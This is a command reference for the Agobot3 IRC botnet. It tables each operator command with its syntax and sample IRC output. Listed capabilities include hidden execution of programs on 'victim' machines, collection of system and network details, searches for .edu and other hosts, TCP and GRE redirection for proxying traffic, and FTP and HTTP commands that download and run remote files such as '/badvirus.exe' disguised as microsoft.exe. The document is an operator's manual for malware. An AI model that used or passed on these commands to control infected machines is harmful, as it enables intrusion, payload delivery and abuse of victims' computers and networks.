command
reference
(for Agobot3
0.1.3 Alpha)
bot / command
manager / cvar
/ irc / mac
/ redirect / downloader
command | alias | syntax | description | example |
bot commands | ||||
bot.about | bot.about |
displays the info the author wants you to see |
<Ago> .bot.about |
|
bot.die |
bot.die |
terminates the bot |
<Ago> .bot.die <-- Agobot3 has quit (Read error: 104 (Connection reset by peer)) |
|
bot.dns |
bot.dns <hostname/ip> |
resolves ip/hostname by dns |
<Ago> .bot.dns ago.bastart.net <Agobot3> ago.bastart.net -> 90.0.1.55 <Ago> .bot.dns 90.0.1.55 <Agobot3> 90.0.1.55 -> ago.bastart.net |
|
bot.execute |
bot.execute <visibility>
"<command>" |
makes the bot execute an .exe, exe
is hidden when visibility is 0. note that visibility has no effect on
gui programs that dont honor the visibility parameter WinMain gets. |
<Ago> .bot.execute 1
notepad.exe (Victim executes notepad.exe visible) |
|
bot.id |
bot.id |
displays the bots id which is used
to identify which version is running, and only update the bots that
need it during an update |
<Ago> .bot.id <Agobot3> DC0M0R17 |
|
bot.nick |
bot.nick <nickname> |
changes the nickname of the bot |
<Ago> .bot.nick dem_bot0r --- Agobot3 is now known as dem_bot0r |
|
bot.open |
bot.open <filename> |
makes the bot open any file using
ShellExecuteA or similar functions (in Linux) to open any file that is
a registered file type |
<Ago> .bot.open e:\agobot3.txt (Victim opens e:\agobot3.txt in Notepad) |
|
bot.remove |
bot.remove |
completely removes the bot from the
system |
<Ago> .bot.remove <Agobot3> removing bot... <-- Agobot3 has quit (Read error: 104 (Connection reset by peer)) |
|
bot.removeallbut |
bot.removeallbut <id> |
same as bot.remove, but skips bots
that have the specified id |
<Ago> .bot.removeallbut
DC0M0R17 (All bots that don't have id DC0M0R17 remove themselves) |
|
bot.rndnick |
bot.rndnick |
assigns a new random nickname to the
bot |
<Ago> .bot.rndnick --- Ago-odkaz is now known as Ago-buzjb <Ago> .bot.rndnick --- Ago-buzjb is now known as Ago-dgrpv |
|
bot.status |
bot.status |
causes the bot to display its status |
<Ago> .bot.status <Agobot3> Agobot3 (0.1.3 Alpha) "Release" on "Win32" ready. Up 0d 0h 1m. |
|
bot.sysinfo |
bot.sysinfo |
causes the bot to display system
information |
<Ago> .bot.sysinfo <Agobot3> cpu: 500MHz. ram: 523764KB total, 300636KB free. os: Windows 2k [Service Pack 4] (5.0, build 2195). uptime: 1d 9h 49m |
|
bot.quit |
bot.quit |
causes the bot to quit irc and
terminate itself |
<Ago> .bot.quit <-- Agobot3 has quit (Read error: 104 (Connection reset by peer)) |
|
bot.repeat |
bot.repeat <num> <cmd> |
the bot will repeat the specified
command num times |
<Ago> .bot.repeat 2 .bot.status <Agobot3> Agobot3 (0.1.3 Alpha) "Release" on "Win32" ready. Up 0d 0h 1m. <Agobot3> Agobot3 (0.1.3 Alpha) "Release" on "Win32" ready. Up 0d 0h 1m. |
|
command manager commands | ||||
commands.list | commands.list |
dumps a list of commands similar to
this |
<Ago> .commands.list <Agobot3> -[ command list ]- <Agobot3> 1. / "commands.list" / "Lists all available commands" <Agobot3> 2. / "cvar.list" / "prints a list of all cvars" (and more to follow...) |
|
cvar commands | ||||
cvar.list |
cvar.list |
dumps a list of cvars |
<Ago> .cvar.list <Agobot3> -[ cvar list ]- <Agobot3> 1. / "si_server_root.chanpass" / "" / "Server Info - Channel Password" <Agobot3> 2. / "si_server_root.mainchan" / "#agobot3" / "Server Info - Main Channel" (and more to follow...) |
|
cvar.get |
cvar.get <cvarname> |
displays the value of the named cvar |
<Ago> .cvar.get si_mainchan <Agobot3> si_mainchan == "#agobot3" |
|
cvar.set |
cvar.get <cvarname>
"<value>" |
sets the value of the named cvar to
the value |
<Ago> .cvar.set bot_prefix "\" <Agobot3> bot_prefix = "\" (was ".") <Ago> \bot.status <Agobot3> Agobot3 (0.1.3 Alpha) "Release" on "Win32" ready. Up 0d 0h 0m. |
|
irc commands | ||||
irc.disconnect / irc.reconnect |
irc.disconnect / irc.reconnect |
disconnects/reconnects the bot from
irc |
<Ago> .irc.disconnect <-- Agobot3 has quit (Read error: 104 (Connection reset by peer)) |
|
irc.action |
irc.action <target>
"<action>" |
makes the bot send an action to the
target |
<Ago> .irc.action #agobot3
"ddoses da bad guy" * Agobot3 ddoses da bad guy |
|
irc.getedu |
irc.getedu |
makes bot reply with irc.netinfo if
the hostname contains .edu |
<Ago> .irc.getedu <Agobot3> connection type: N/A (N/A). local IP address: 18.240.0.110. connected from: XXXXXXXX.mit.edu (more to follow...) |
|
irc.gethost |
irc.gethost <hostpart> |
makes bot reply with irc.netinfo if the hostname contains the specified hostpart | <Ago> .irc.gethost tu- <Agobot3> connection type: N/A (N/A). local IP address: 130.83.217.200. connected from: cXXXX.karlshof.wh.tu-darmstadt.de (more to follow...) |
|
irc.join/irc.part |
irc.join <channel>
<pwd> / irc.part <channel> |
makes the bot join part the
specified channel |
<Ago> .irc.join #agobot4
AJuq4Js (Victim joins #agobot4) <Ago> .irc.part #agobot4 (Victim leaves #agobot4) |
|
irc.netinfo |
irc.netinfo |
causes the bot to display network information | <Ago> .irc.netinfo <Agobot3> connection type: N/A (N/A). local IP address: 90.0.1.55. connected from: ago.bastart.net |
|
irc.privmsg |
irc.privmsg <target>
"<text>" |
makes the bot send a privmsg to the
target |
<Ago> .irc.privmsg #agobot3
"bla" <Agobot3> bla <Ago> .irc.privmsg Ago "bla" *Agobot3* bla |
|
irc.quit |
irc.quit |
makes the bot quit from irc |
<Ago> .irc.quit <-- Agobot3 has quit (Read error: 104 (Connection reset by peer)) |
|
irc.raw |
irc.raw "<string>" |
makes the bot send raw string to the
server |
<Ago> .irc.raw "QUIT :Bla" <-- Agobot3 has quit (Quit: Bla) |
|
irc.reconnect |
irc.reconnect |
makes the bot reconnect to irc |
<Ago> .irc.reconnect <-- Agobot3 has quit (Remote closed the connection) --> Agobot3 ([email protected]) has joined #agobot3 |
|
irc.server |
irc.server <server>
<port> <serverpass> |
makes the change the server cvars |
<Ago> .irc.server
some.ircd.org 6667 |
|
irc.mode |
irc.mode <modestr> |
makes the the bot change irc modes |
<Ago> .irc.mode #agobot3 -o Ago --- Agobot3 removes channel operator status from Ago |
|
mac commands | ||||
login |
login <user> <password> |
logs in a user to the bot |
<Ago> .login Ago ******* <Agobot3> Password accepted. |
|
mac.logout |
mac.logout |
logs out a user from the bot |
<Ago> .mac.logout <Agobot3> User Ago logged out. |
|
redirect commands | ||||
redirect.tcp |
redirect.tcp <localport> <remotehost> <remoteport> | redirects a tcp port to another host |
<Ago> .redirect.tcp 2352
www.microsoft.com 80 <Agobot3> redirtcp: redirecting from port 2352 to "www.microsoft.com:80". |
|
redirect.gre |
redirect.gre <server>
<client> [localip] |
redirects gre traffic, this can be
used to proxy PPTP VPN connections. |
<Ago> .redirect.gre
www.microsoft.com ago.bastart.net <Agobot3> redirgre: redirecting from "www.microsoft.com" to "ago.bastart.net" over "". |
|
redirect.stop |
redirect.stop |
stops all redirects immediately |
<Ago> .redirect.stop |
|
downloader commands | ||||
ftp.download |
ftp.download <user>
<pass> <host>
<path> <target> |
makes the bot download a file from
ftp to the specified directory. supports environment variable
expansions. |
<Ago> .ftp.download
billg password ftp.microsoft.com / %TEMP%\microsoft.html <Agobot3> Receiving file. <Agobot3> download to C:\Temp\microsoft.html finished. |
|
ftp.execute |
ftp.execute <user>
<pass> <host>
<path> <target> |
makes the bot download a file from ftp to the specified directory and execute it. supports environment variable expansions. | <Ago> .ftp.execute
billg password www.microsoft.com /badvirus.exe %TEMP%\microsoft.exe <Agobot3> Receiving file. <Agobot3> download to C:\Temp\microsoft.exe finished. <Agobot3> opened C:\Temp\microsoft.exe. |
|
ftp.update |
ftp.update <user>
<pass> <host>
<path> <target> <id> |
makes the bot download a file from ftp to the specified directory and update to it if the id doesn't match. supports environment variable expansions. | <Ago> .ftp.update
billg password www.microsoft.com /badvirus.exe %TEMP%\microsoft.exe
Microsoft0r24 <Agobot3> Receiving update <Agobot3> download to C:\Temp\microsoft.exe finished, updating.... |
|
http.download |
http.download <host>
<path> <target> |
makes the bot download a file from
http to the specified directory. supports environment variable
expansions. |
<Ago> .http.download
www.microsoft.com / %TEMP%\microsoft.html <Agobot3> Receiving file. <Agobot3> download to C:\Temp\microsoft.html finished. |
|
http.execute |
http.execute <host>
<path> <target> |
makes the bot download a file from http to the specified directory and execute it. supports environment variable expansions. | <Ago> .http.execute
www.microsoft.com /badvirus.exe %TEMP%\microsoft.exe <Agobot3> Receiving file. <Agobot3> download to C:\Temp\microsoft.exe finished. <Agobot3> opened C:\Temp\microsoft.exe. |
|
http.update |
http.update <host>
<path> <target> <id> |
makes the bot download a file from http to the specified directory and update to it if the id doesn't match. supports environment variable expansions. | <Ago> .http.update
www.microsoft.com /badvirus.exe %TEMP%\microsoft.exe Microsoft0r24 <Agobot3> Receiving file <Agobot3> download to C:\Temp\microsoft.exe finished, updating.... |
|
notes: 1. none yet |